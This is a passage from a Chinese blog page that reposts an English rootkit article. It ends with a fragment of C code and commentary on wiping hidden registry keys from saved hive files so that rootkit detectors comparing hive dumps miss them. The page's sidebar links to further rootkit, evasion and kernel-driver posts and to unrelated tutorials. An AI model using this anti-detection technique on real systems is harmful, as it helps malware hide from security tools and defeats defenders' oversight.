    /* clean nk itself */
    CleanNK (nk, hbin);
  }
  /* Woot! */
}


Wow. Hope you thought it was worth ploughing through all that! It does a really thorough job, and if for instance your name test returns a match on every single key, you end up with a saved file that is entirely wiped cells from start to finish. There may also be other rootkit detectors that move copies of the hives around in memory, like knlsc13, and it could be adapted to them as well.

i.m

【Window内核驱动开发】——内存映射的基本使用 【我的】Window驱动开发——内存映射的基本使用 作者:zcr214 时间:2016/5/18   内存映射文件可以用于3个不同的目的。 •系统使用内存映射文件,以便加载和执行. exe和DLL文件。这可以大大节省页文件空间和应用程序启动运行所需的时间。 •可以使用内存映射文件来访问磁盘上的数据文件。这使你可以不必对文件执行I/O操作,并且可以不必对文件内容进行缓存。 •可以使用内存 阅读详情

相关推荐

5G初始注册流程详解(2)-Registration Request

1:了解注册的本质,5G终端为什么要注册? 2:SUCI,SUPI,5G-GUTI的区别? 3:为什么会有COMPLETE REGISTRATION REQUEST呢?

weixin_53220301的博客 3795

简单认识下注册表的HIVE文件格式

作 者:  Sysnap---------------------------------------------目录1 用windbg简单认识下HIVE文件2 用ZwSaveKey生成一个HIVE文件3 ring3来简单解释这个HIVE文件1 用windbg简单认识下HIVE文件物理上的HIVE文件1 注册表是由许多个HIVE文件组成的2 一个HIVE文件由许多个BIN组成,一般一个HIVE文件

1363

思科路由器IPv6各种路由协议配置

思科路由器IPv6路由协议配置:1、静态路由配置;2、默认路由配置;3、RIPng路由配置;4、OSPFv3路由配置。

weixin_41687096的博客 6544

用Visual studio11在Windows8上开发驱动实现内存填0杀进程

在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。在Windows NT中,存在三种Device Driver: 1.“Virtual devi...

weixin_30279671的博客 168

【k8s面试】超详细kubernetes面试题总结,面试必问!(附200道K8s Docker面试真题+答案详解

最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!

2401_83620959的博客 1465

字节最新开源模型 DA3(Depth Anything 3)使用教程(一)从任意视角恢复视觉空间

本文介绍DepthAnything3(DA3)模型,一种能够从任意视觉输入中预测几何结构的创新解决方案。DA3采用Transformer骨干网络,通过统一的深度光线表示简化学习过程,支持单目/多视角深度估计、姿态估计和3D高斯预测等多项任务。模型系列包含基础版、度量级和单目专用版本,其中嵌套版本DA3NESTED-GIANT-LARGE表现最佳。代码库提供交互界面、CLI工具和多格式导出功能,支持模块化扩展。实验表明DA3在各项任务上超越现有模型,所有训练数据均来自公开学术数据集。

2506_90492529的博客 2550

c语言view用法,MapViewOfFile的用法

从程序输出的结果来看,你的程序运行的完全正确,就是说,是按照源代码运行的,但你的本意可能并非如此。你要映射的文件内容是11 22 33 44。 你可能想象运行后应该是22 11 33 44。但按照程序运行下来,结果确实应该是2 3311 2。解释:11 22 33 44是键盘输入的吧。文件是用某个文本编辑程序做的吧。计算机里保存的文件是按二进制编码的,文本文件的字符也不例外。在这个文件中,11 2...

weixin_27153203的博客 2865

【Bug已解决】Request timed out / API Timeout — Claude Code 请求超时解决方案

方案适用场景推荐指数难度方案一:增加超时大任务处理⭐⭐⭐⭐⭐低方案二:切换 SonnetOpus 太慢⭐⭐⭐⭐⭐低方案三:缩小范围大代码库⭐⭐⭐⭐⭐低方案四:优化网络网络延迟高⭐⭐⭐⭐中方案五:减少 MCPMCP 超时⭐⭐⭐中方案六:流式响应长生成任务⭐⭐⭐低根本原因:请求超时最常见原因是请求体过大(35%)和 Opus 模型推理慢(25%),默认 60 秒超时阈值对大型任务不够最佳实践。

一键难忘的博客 5164

windows 物理内存获取

由于我一般使用的虚拟内存, 有时我们需要获取到物理内存中的数据(也就是内存条中的真实数据), 按理说是很简单,打开物理内存,读取就可以了.但似乎没这么简单: [cpp] view plain copy print? #include"windows.h" //定义相应的变量类型,见ntddk.h typedefLONG...

813

kaggle学习笔记-餐厅数据挖掘

分析Zomato数据集的基本思想是为了公平地了解影响在班加罗尔不同地方建立不同类型餐厅的因素,每个餐厅的总评级,班加罗尔是这样一个城市,拥有超过12,000家餐厅,餐厅供应来自世界各地的菜肴。每天都有新的餐馆开业,这个行业还没有饱和,需求也在与日俱增。然而,尽管需求不断增加,新餐馆却很难与老牌餐馆竞争。大多数餐厅都供应同样的食物。班加罗尔是印度的IT之都。这里的大多数人主要依靠餐馆的食物,因为他们没有时间自己做饭。由于对餐馆的需求如此巨大,因此研究一个地方的人口统计学就变得很重要。

优快云XXCQ的博客 1862

十二种嵌入式通信协议

嵌入式通信协议选型核心要点解析 在嵌入式系统开发中,通信协议选型直接影响项目成败。本文系统梳理了12种主流协议,从三个维度提供选型指南: 板级通信协议: I²C:双线制,适合传感器连接(温湿度、RTC等) SPI:高速全双工,适用于Flash存储、TFT屏等 UART:异步串行,常用于调试日志输出 总线通信协议: CAN:汽车电子首选,支持多主节点和硬件仲裁 LIN:低成本单线方案,适用于车窗控制等场景 RS485:工业自动化主力,最长传输距离1200米 Modbus:工业领域通用协议,支持RTU/TCP格

qq_37999850的博客 252

How to avoid the detection of hidden regkey by hooking RegSaveKeyA

How to avoid the detection of hidden regkey by hooking RegSaveKeyA By: EiNSTeiN_How it works:Many hidden-regkey-detection tools detect hidden stuff by dumping someregistry hives to a file and then com

FreeXploiT 2020

【腾讯小龙虾WorkBuddy专栏02】保姆级安装教程!彻底分清WorkBuddy/CodeBuddy,最新积分活动&会员体系全攻略

【腾讯小龙虾WorkBuddy专栏02】保姆级安装教程!彻底分清WorkBuddy/CodeBuddy,最新积分活动&会员体系全攻略

AI人人懂 2680

zzzevazzz给出的是好东东

zzzevazzz给出的是好东东,不放上来可惜:改了调用pfnMemcpy处蓝屏的代码.直接调用memcpy. Thank for your share...//************************************************************************// Ring0Demo.c v1.0 by zzzEVAzzz// 目的:演示无驱动执行Ri

1479

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

TDSS

* TDSS. Rootkit 技术           o 一切的开始: TDL-1           o TDL-2: 这场游戏还在继续           o TDL-3: 故事是否终结?     * TDSS 在线           o The “Partnerka”           o AffId           o 链接           o C&C

zacklin的专栏 9135

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

驱动内存映射文件

驱动内存映射文件,一切尽在代码中,各位老爷请看:       // 内存映射文件,返回基址 // 用完记得ZwUnmapViewOfSection(ZwCurrentProcess(), BaseAddress); PVOID CreateMapFileAndGetBaseAddr(PUNICODE_STRING FilePath, PSIZE_T Size) { #define SE...

liwen930723的专栏 1417

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

分享比较完整的ROOTKIT DEMO!

 作 者: embedlinux(E-mail:hqulyc@126.com  QQ:5054-3533)时 间: 2008-08-05链 接: http://bbs.pediy.com/showthread.php?p=492361#post492361这里写的ROOTKIT比较简单(有些代码是消化别人的代码后改写过来的),高手跳过.......包含以下内容:(详细请看源代码)SSDT Hook

2391

Nt内核函数大全

Nt内核函数大全 NtLoadDriver 服务控制管理器加载设备驱动. NtUnloadDriver 服务控制管理器支持卸载指定的驱动程序. NtRegisterNewDevice 加载新驱动文件. NtQueryIntervalProfile 返回数据. NtSetIntervalProfile 指定采样间隔. NtStartProfile 开始取样. NtStopProfile 停止采样...

huang714的专栏 1936

Nt系列函数

转:http://blog.sina.com.cn/s/blog_4a1acc7f0100cfuc.html         83   4B 0007C008 NlsAnsiCodePage          84   4C 0007C010 NlsMbCodePageTag          85   4D 0007C018 NlsMbOemCodePageTag          86   ...

huanongying131的博客 2787

Zw 系列函数

转:http://blog.sina.com.cn/s/blog_4a1acc7f0100cfud.html      896  37F 0000D379 ZwAcceptConnectPort         897  380 0000D38E ZwAccessCheck         898  381 0000D3A3 ZwAccessCheckAndAuditAlarm         ...

huanongying131的博客 4066

C++ 入门笔记(十七):list 入门 —— 为什么 list 不能 sort?

第17课:用大白话讲清 list 的双向链表结构、哨兵头、push_back 四步、迭代器封装、merge 与 splice 的区别,以及 vector 排序为什么常比 list 快。

wo_jack的博客 251

【C++】【STL】list_OJ题

本文系统解析了8道C++链表经典OJ题,按“算数操作”与“指针重连”分为两组,强调指针操作与数据结构解耦的重要性。通过手写ListNode、std::list及带头双向循环链表三类载体验证算法普适性,重点剖析空链、单节点、全相同值等6类边界情况,并给出统一编译与调试方案(g++11 + -Wall -O2),确保零告警、可追踪。所有题目时间复杂度均为O(N),常数差异源于遍历次数与操作开销,代码实现兼顾正确性与面试可用性。

这里是Cocatrice的博客,感谢大家一直以来的支持和鼓励,如果对C/C++方向感兴趣的话,可以通过主页的微信名片加Cocatrice的好友,也可以通过邮箱:Chen31980094@163.com 联系,一同加油! 1673

list

的底层是双向链表结构,双向链表中每个元素存储在互不相关的独立节点中,在节点中通过指针指向其前一个元素和后一个元素。,因此反向迭代器的实现可以借助正向迭代器,即:反向迭代器内部可以包含一个正向迭代器,对正向迭代器的接口进行包装即可。是可以在常数范围内在任意位置进行插入和删除的序列式容器,并且该容器可以前后双向迭代。迭代到该位置,在这段位置上迭代需要线性的时间开销;最大的缺陷是不支持任意位置的随机访问,比如:要访问。还需要一些额外的空间,以保存每个节点的相关联信息。个元素,必须从已知的位置。

xie0510_的博客 293

Redis 数据类型详解:Hash 哈希与 List 列表

大 key 指单个 key 对应的 value 过大(如 Hash 字段数极多、List 元素极多)。危害包括:单次全量命令(

2303_77004089的博客 125
上一篇: Black Hat Federal 2006
下一篇: OmegacmLabs: “Firewalls. Outpost Firewall Pro
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值